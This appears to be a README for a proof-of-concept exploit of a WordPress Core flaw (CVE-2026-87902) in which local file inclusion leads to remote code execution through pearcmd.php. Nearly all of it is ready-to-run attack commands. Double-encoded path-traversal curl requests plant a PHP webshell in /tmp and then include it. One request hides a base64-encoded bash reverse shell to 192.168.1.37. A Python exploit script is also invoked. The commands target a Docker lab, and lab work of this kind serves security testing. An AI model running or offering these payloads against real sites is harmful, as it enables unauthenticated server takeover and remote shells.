
Proof-of-concept exploit for CVE-2026-87902, an unauthenticated WordPress Core LFI leading to RCE via pearcmd.php, with a Docker lab and curl/Python exploit scripts.
WordPress Core <= 7.1.1 — unauthenticated LFI (template loader pagename) → RCE via pearcmd.php.
Credits: https://github.com/ressl/cve-2026-87902-poc
cd docker && docker compose up -d
curl "http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd&+config-create+/&<?=stripslashes($_REQUEST[_])?>+"
curl "http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn"
# Reverse Shell
curl "http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&_=echo+L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjM3LzQ0MyAwPiYxJw==|base64+-d|sh"
python3 exploit-pear.py http://127.0.0.1:18092 2 "id"